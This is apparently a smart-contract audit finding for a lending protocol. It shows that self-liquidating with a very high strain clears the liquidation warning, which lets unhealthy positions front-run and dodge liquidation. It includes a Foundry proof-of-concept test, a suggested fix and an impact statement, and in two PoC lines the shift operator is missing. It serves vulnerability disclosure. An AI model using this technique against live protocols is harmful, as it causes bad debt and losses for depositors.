It is possible to frontrun liquidations with self liquidation with high strain value to clear warning and keep unhealthy positions from liquidation
`Borrower.warn` sets the time when the liquidation (involving swap) can happen:\\n```\\nslot0 = slot0_ | ((block.timestamp + LIQUIDATION_GRACE_PERIOD) << 208);\\n```\\n\\nBut `Borrower.liquidation` clears the warning regardless of whether account is healthy or not after the repayment:\\n```\\n_repay(repayable0, repayable1);\\nslot0 = (slot0_ & SLOT0_MASK_POSITIONS) | SLOT0_DIRT;\\n```\\n\\nThe scenario above is demonstrated in the test, add this to Liquidator.t.sol:\\n```\\nfunction test_liquidationFrontrun() public {\\n    uint256 margin0 = 1595e18;\\n    uint256 margin1 = 0;\\n    uint256 borrows0 = 0;\\n    uint256 borrows1 = 1e18 * 100;\\n\\n    // Extra due to rounding up in liabilities\\n    margin0 += 1;\\n\\n    deal(address(asset0), address(account), margin0);\\n    deal(address(asset1), address(account), margin1);\\n\\n    bytes memory data = abi.encode(Action.BORROW, borrows0, borrows1);\\n    account.modify(this, data, (1 << 32));\\n\\n    assertEq(lender0.borrowBalance(address(account)), borrows0);\\n    assertEq(lender1.borrowBalance(address(account)), borrows1);\\n    assertEq(asset0.balanceOf(address(account)), borrows0 + margin0);\\n    assertEq(asset1.balanceOf(address(account)), borrows1 + margin1);\\n\\n    _setInterest(lender0, 10100);\\n    _setInterest(lender1, 10100);\\n\\n    account.warn((1 << 32));\\n\\n    uint40 unleashLiquidationTime = uint40((account.slot0()  208) % (1 << 40));\\n    assertEq(unleashLiquidationTime, block.timestamp + LIQUIDATION_GRACE_PERIOD);\\n\\n    skip(LIQUIDATION_GRACE_PERIOD + 1);\\n\\n    // listen for liquidation, or be the 1st in the block when warning is cleared\\n    // liquidate with very high strain, basically keeping the position, but clearing the warning\\n    account.liquidate(this, bytes(""), 1e10, (1 << 32));\\n\\n    unleashLiquidationTime = uint40((account.slot0()  208) % (1 << 40));\\n    assertEq(unleashLiquidationTime, 0);\\n\\n    // the liquidation command we've frontrun will now revert (due to warning not set: "Aloe: grace")\\n    vm.expectRevert();\\n    account.liquidate(this, bytes(""), 1, (1 << 32));\\n}\\n```\\n
Consider clearing "warn" status only if account is healthy after liquidation.
Very important protocol function (liquidation) can be DOS'ed and make the unhealthy accounts avoid liquidations for a very long time. Malicious users can thus open huge risky positions which will then go into bad debt causing loss of funds for all protocol users as they will not be able to withdraw their funds and can cause a bank run - first users will be able to withdraw, but later users won't be able to withdraw as protocol won't have enough funds for this.
```\\nslot0 = slot0_ | ((block.timestamp + LIQUIDATION_GRACE_PERIOD) << 208);\\n```\\n